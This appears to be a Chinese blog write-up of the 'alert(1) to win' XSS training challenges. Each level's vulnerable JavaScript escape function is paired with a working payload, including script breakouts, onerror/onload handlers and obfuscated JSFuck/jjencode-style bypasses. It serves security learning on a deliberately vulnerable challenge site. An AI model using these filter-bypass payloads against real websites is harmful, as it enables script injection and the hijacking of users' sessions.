alert(1) to win(XSS 的集中训练)


前言

总感觉自己xss每次就是无脑fuzz,所以想找个机会集中做一下类似白盒的XSS,这次选取的网站是alert(1) to win

先在这里放上网址

冲冲冲

Warmup

1
2
3
function escape(s) {
return '<script>console.log("'+s+'");</script>';
}

首先要要闭合console.log才能执行别的语句。所以先")
最终

1
2
payload:
");alert(1)//

最后需要加//注释的原因是,后面还有一个"),会导致报错,因此注释掉,再根据html的松散性,在html中会将后面自动补全,达到弹窗

Adobe

1
2
3
4
function escape(s) {
s = s.replace(/"/g, '\\"');
return '<script>console.log("' + s + '");</script>';
}

我们这里可以对比一下第一题,只多了一个语句,就是通过正则全局转义了双引号,这里我们可以再加入\,把\转义,这样双引号就可以逃脱了

1
2
3
4
5
payload:
\");alert(1)\\

output:
<script>console.log("\\");alert(1)//");</script>

Json

1
2
3
4
function escape(s) {
s = JSON.stringify(s);
return '<script>console.log(' + s + ');</script>';
}

这里需要说明的是stringify函数需要遵守以下规定

1
2
3
4
5
6
7
8
9
10
字符串值以引号开始和结束。 所有 Unicode 字符可括在引号中,但必须使用反斜杠进行转义的字符除外。 以下字符的前面必须是反斜杠:

引号 (")
反斜杠 (\)
退格键 (b)
换页符 (f)
换行符 (n)
回车符 (r)
水平制表符 (t)
四个十六进制数字 (uhhhh)

因此我们不能使用以上的字符,但是<>都还是可以使用的

1
2
payload:
</script><script>alert(1)//

JavaScript

1
2
3
4
5
6
7
8
9
function escape(s) {
var url = 'javascript:console.log(' + JSON.stringify(s) + ')';
console.log(url);

var a = document.createElement('a');
a.href = url;
document.body.appendChild(a);
a.click();
}

这里使用了JavaScript的伪协议,就是可以在html中执行js语句,因此url编码自然就可以使用了(毕竟是html中)。

1
2
payload:
%22);alert(1)//

Markdown

1
2
3
4
5
6
7
8
function escape(s) {
var text = s.replace(/</g, '&lt;').replace(/"/g, '&quot;');
// URLs
text = text.replace(/(http:\/\/\S+)/g, '<a href="$1">$1</a>');
// [[img123|Description]]
text = text.replace(/\[\[(\w+)\|(.+?)\]\]/g, '<img alt="$2" src="$1.gif">');
return text;
}

这里总共有三层的正则替代

  1. 相当于html的实体编码,将<过滤了
  2. http://之后直到空格为止所有的字符都加入一个a标签中

    1
    2
    3
    4
    例如将:
    http://passingfoam.com
    Output:
    <a href="http://passingfoam.com">http://passingfoam.com</a>
  3. [[单词|任意字符]]加入一个img标签中一个作为替代文本,一个作为src

    1
    2
    3
    4
    例如:
    [[aaa|bbb]]
    Output:
    <img alt="bbb" src="aaa.gif">

这时候我们不难想象,后面的src肯定是不存在的,那么就可以触发onerrror

1
2
3
4
payload:
[[a|http://onerror=alert(1)//]]
Output:
<img alt="<a href="http://onerror=alert(1)//" src="a.gif">">http://onerror=alert(1)//]]</a>

第二个替代为我们引入了双引号,闭合了alt,而这里有个很奇怪的点无关的标签会被无视,而且/会被转化为空格,所以onerror属性才可以完整触发,其余就是注释一波自动补全结案

DOM

1
2
3
4
5
6
7
8
9
10
function escape(s) {
// Slightly too lazy to make two input fields.
// Pass in something like "TextNode#foo"
var m = s.split(/#/);

// Only slightly contrived at this point.
var a = document.createElement('div');
a.appendChild(document['create'+m[0]].apply(document, m.slice(1)));
return a.innerHTML;
}
  1. 首先先看关键的两个函数slicesplit后者的作用是按照split里面的参数来分割,前者的作用是,从参数为开始取这个字符串,一直取出到结尾
  2. 其次就是后面的create+m[0]这个是js中的内部的一个方法,这里我们可以创建一个Comment,我们可以进行测试这里
    1
    2
    3
    Comment#111
    Output:
    <!--111-->

至此我们就可以想办法闭合然后传入我们需要的东西了

1
2
3
4
payload:
Comment#><iframe/onload=alert(1)
Output:
<!--><iframe/onload=alert(1)-->

这里的onload就相当于执行后面的语句

Callback

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/</g, '\\u003c');
return "<script>" + thing[0] + "(" + json +")</script>";
}

这里也是类似传入xxx#yyy这样的类型,不过#前不能有字母和\,其次就是#后面会进行<的转义和”的转义,这时候不难发现’没有被转义,我们可控,在js中单双引号都可以用来表示字符串

1
2
3
4
payload:
'#';alert(1)
output:
<script>'({"userdata":"';alert(1)//"})</script>

Skandia

1
2
3
function escape(s) {
return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

这里将你的输入变成了大写,因此无法执行,这里有几种绕过的方法,不过无非就是解析html实体编码(js中无法解析html编码,所以无法生效)

1
2
3
4
5
6
payload1:
</script><script src=data:text/html,%61%6c%65%72%74(1)>
这里实体编码了alert几个字母,应为后面指定了text的编码方式,所以可以解析
payload2
</script><iframe/onload=&#97&#108&#101&#114&#116(1)>
在html标签中的还是可以生效的,在使用onload

Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function escape(s) {
function htmlEscape(s) {
return s.replace(/./g, function(x) {
return { '<': '&lt;', '>': '&gt;', '&': '&amp;', '"': '&quot;', "'": '&#39;' }[x] || x;
});
}

function expandTemplate(template, args) {
return template.replace(
/{(\w+)}/g,
function(_, n) {
return htmlEscape(args[n]);
});
}

return expandTemplate(
" \n\
<h2>Hello, <span id=name></span>!</h2> \n\
<script> \n\
var v = document.getElementById('name'); \n\
v.innerHTML = '<a href=#>{name}</a>'; \n\
<\/script> \n\
",
{ name : s }
);
}

首先查看过滤的字符,这里将' " & <>过滤了但是没有过滤\,所以这里我们可以使用十六进制的字符来进行绕过,

1
2
payload:
\x3ciframe/onload=alert(1)

Json2

1
2
3
4
5
function escape(s) {
s = JSON.stringify(s).replace(/<\/script/gi, '');

return '<script>console.log(' + s + ');</script>';
}

这题十分简单,不过就是将<\script替换了,然后防止你闭合,但是这个函数只全局替换一个,所以很简单

1
2
3
4
payload:
<\scr</scriptipt><script>alert(1)//
output:
<script>console.log("</script><script>alert(1)//");</script>

Callback2

1
2
3
4
5
6
7
8
9
function escape(s) {
// Pass inn "callback#userdata"
var thing = s.split(/#/);

if (!/^[a-zA-Z\[\]']*$/.test(thing[0])) return 'Invalid callback';
var obj = {'userdata': thing[1] };
var json = JSON.stringify(obj).replace(/\//g, '\\/');
return "<script>" + thing[0] + "(" + json +")</script>";
}

对比一下Callback,发现只有一个区别,就是这里是把/转义了,所以我们就不能再使用\\来注释掉后面的东西了,所以替换一下就好

1
2
3
4
payload:
'#';alert(1)<!--
output:
<script>'({"userdata":"';alert(1)<!--"})</script>

Skandia 2

1
2
3
4
5
function escape(s) {
if (/[<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

这里过滤很简单就是,将<>中的所有东西包括<>替代为-,但是怎么绕过呢emmmm之前的做法是先用<\script>闭合然后再起一个标签用实体编码触发,但是现在闭合不了,那么就可以使用诡异点的方式,在ctf很多见的几种编码方式,jsfuck,jjencode,jjencode字符比较少就用这个了

1
2
payload:
");$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.__$+")"+"\"")())();//

这里收集一些大师傅的payload(按照jsfuck原理改出来的,不是很懂日后研究):

1
2
3
4
payload1:
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//
payload2:
"|[]['\160\157\160']['\143\157\156\163\164\162\165\143\164\157\162']('\141\154\145\162\164(1)')()|"

tql!

iframe

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function escape(s) {
var tag = document.createElement('iframe');

// For this one, you get to run any code you want, but in a "sandboxed" iframe.
//
// https://4i.am/?...raw=... just outputs whatever you pass in.
//
// Alerting from 4i.am won't count.

s = '<script>' + s + '<\/script>';
tag.src = 'https://4i.am/?:XSS=0&CT=text/html&raw=' + encodeURIComponent(s);

window.WINNING = function() { youWon = true; };

tag.setAttribute('onload', 'youWon && alert(1)');
return tag.outerHTML;
}

本题的解决思路要利用到iframe的特性,当在iframe中设置了一个name属性之后, 这个name属性的值就会变成iframe中的window对象的全局。而且iframe可以自己定义windows.name,因此我们只需要注入进去就可以了

1
2
payload:
name='youWon'

TI(S)M

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function escape(s) {
function json(s) { return JSON.stringify(s).replace(/\//g, '\\/'); }
function html(s) { return s.replace(/[<>"&]/g, function(s) {
return '&#' + s.charCodeAt(0) + ';'; }); }

return (
'<script>' +
'var url = ' + json(s) + '; // We\'ll use this later ' +
'</script>\n\n' +
' <!-- for debugging -->\n' +
' URL: ' + html(s) + '\n\n' +
'<!-- then suddenly -->\n' +
'<script>\n' +
' if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n' +
' else new Image().src = url;\n' +
'</script>'
);
}

我们先随手输入一个alert(1)看一看会返回什么,因为标签很多所以进行各类测试
alert1
不难发现URL里被包含到了外面,但是这是个最有可能直接触发的出发点,我们在此需要思考如何将URL包含进去,这里我们需要用到html中的一个新特性

1
2
The trick is that injecting an HTML5 single line comment<!-- followed by a \<script\> open tag will move the parser into the “script data double escaped state” until the closing script tag is found and then it will transition into “script data escaped state” and it will treat anything from the end of the string where we injected the \<!--<script\> as JS! only thing we need to do is making sure there is a --\> so that the parser does not throw an invalid syntax exception.
The string where we inject <!--<script> will still be considered as a JS string an everything following the string will become JS.

上面的话什么意思呢,就是在html5中如果出现了单行注释<!--<script>的情况,那么会一直寻找直到找到<\script>,这中间包括两个标签全都会被认为是一个js内部的字符串,即标签被转义,这时候我们输入payload aaa/*<!--</script>,这里是为了可以和后面的连接起来可以注释掉大量的无用内容
alert_2
可以看到我们让if语句不完整了,这时候有两种方案,第一种先弹窗再补全,第二种直接补全

1
2
3
4
payload1:
alert(1);/*<!--<script>*/if(/a//*
payload2:
if(alert(1)/*<!--<script> //不过为什么这个不是正则的形式也能不报错呢,js真神奇

JSON3

1
2
3
4
5
6
7
8
function escape(s) {
return s.split('#').map(function(v) {
// Only 20% of slashes are end tags; save 1.2% of total
// bytes by only escaping those.
var json = JSON.stringify(v).replace(/<\//g, '<\\/');
return '<script>console.log('+json+')</script>';
}).join('');
}

随手输入一个aaa#bbb看一下输出

1
<script>console.log("aaa")</script><script>console.log("bbb")</script>

这时候就感觉到了实在是太多标签了,我们需要减少标签,这里转义了<\的情况,还有就是json编码,也同时转义引号和转义符号,我们无法引入来闭合,这样就想到了上一题我们使用的html5的新特性,使用<!--script,这样我们只需要在后面-->来进行里应外合

1
2
3
4
5
6
input:
<!--<script>#-->
output:
<script>console.log("<!--<script>")</script><script>console.log("-->")</script>
console output:
Error: Uncaught SyntaxError: Invalid regular expression: missing /

这里很奇怪,说是正则表达式错了,回头看一下输出,可能把/script这里的斜杠当做正则在使用,所以我们多补一个,再则我们需要执行弹窗,我们需要在console.log之外因此我们需要闭合

1
2
3
4
payload:
<!--<script>#)/|alert(1)//-->
output:
<script>console.log("<!--<script>")</script><script>console.log(")/|alert(1)//-->")</script>

Skandia 3

1
2
3
4
5
function escape(s) {
if (/[\\<>]/.test(s)) return '-';

return '<script>console.log("' + s.toUpperCase() + '")</script>';
}

和Skandia 2的区别在哪里呢?
主要是多了一个转换,把\<>变成,大佬在2中的payload就可以直接用了

1
2
payload:
");_=!1+URL+!0,[][_[0]+_[10]+_[2]+_[2]][_[8]+_[11]+_[7]+_[3]+_[9]+_[38]+_[39]+_[8]+_[9]+_[11]+_[38]](_[1]+_[2]+_[4]+_[38]+_[9]+'(1)')()//

RFC4627

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function escape(text) {
var i = 0;
window.the_easy_but_expensive_way_out = function() { alert(i++) };

// "A JSON text can be safely passed into JavaScript's eval() function
// (which compiles and executes a string) if all the characters not
// enclosed in strings are in the set of characters that form JSON
// tokens."

if (!(/[^,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]/.test(
text.replace(/"(\\.|[^"\\])*"/g, '')))) {
try {
var val = eval('(' + text + ')');
console.log('' + val);
} catch (_) {
console.log('Crashed: '+_);
}
} else {
console.log('Rejected.');
}
}

emmmmmmmmmmm不是很懂,看下一题

Well

1
2
3
4
5
6
function escape(s) {
http://www.avlidienbrunn.se/xsschallenge/

s = s.replace(/[\r\n\u2028\u2029\\;,()\[\]<]/g, '');
return "<script> var email = '" + s + "'; <\/script>";
}
1
2
\u2028 : 行分隔符
\u2029 : 段落分隔符

我们需要闭合后加入一个alert(1),但是()被过滤了我们,需要想办法绕过

1
2
3
payload:
'|new Function `a${'alert'+String.fromCharCode`40`+1+String.fromCharCode`41`}` |'
这个通过定义了一个新的function来进行绕过

感觉后面的都太生僻了,不太适合继续做下去了,所以就此打住。

参考资料

https://github.com/masazumi-github/alert-1-to-win#a025
https://blog.spoock.com/2016/03/10/escape-alf-nu-xss-challenges-writeups/
https://pengyang.me/2018/10/05/alert/#14tism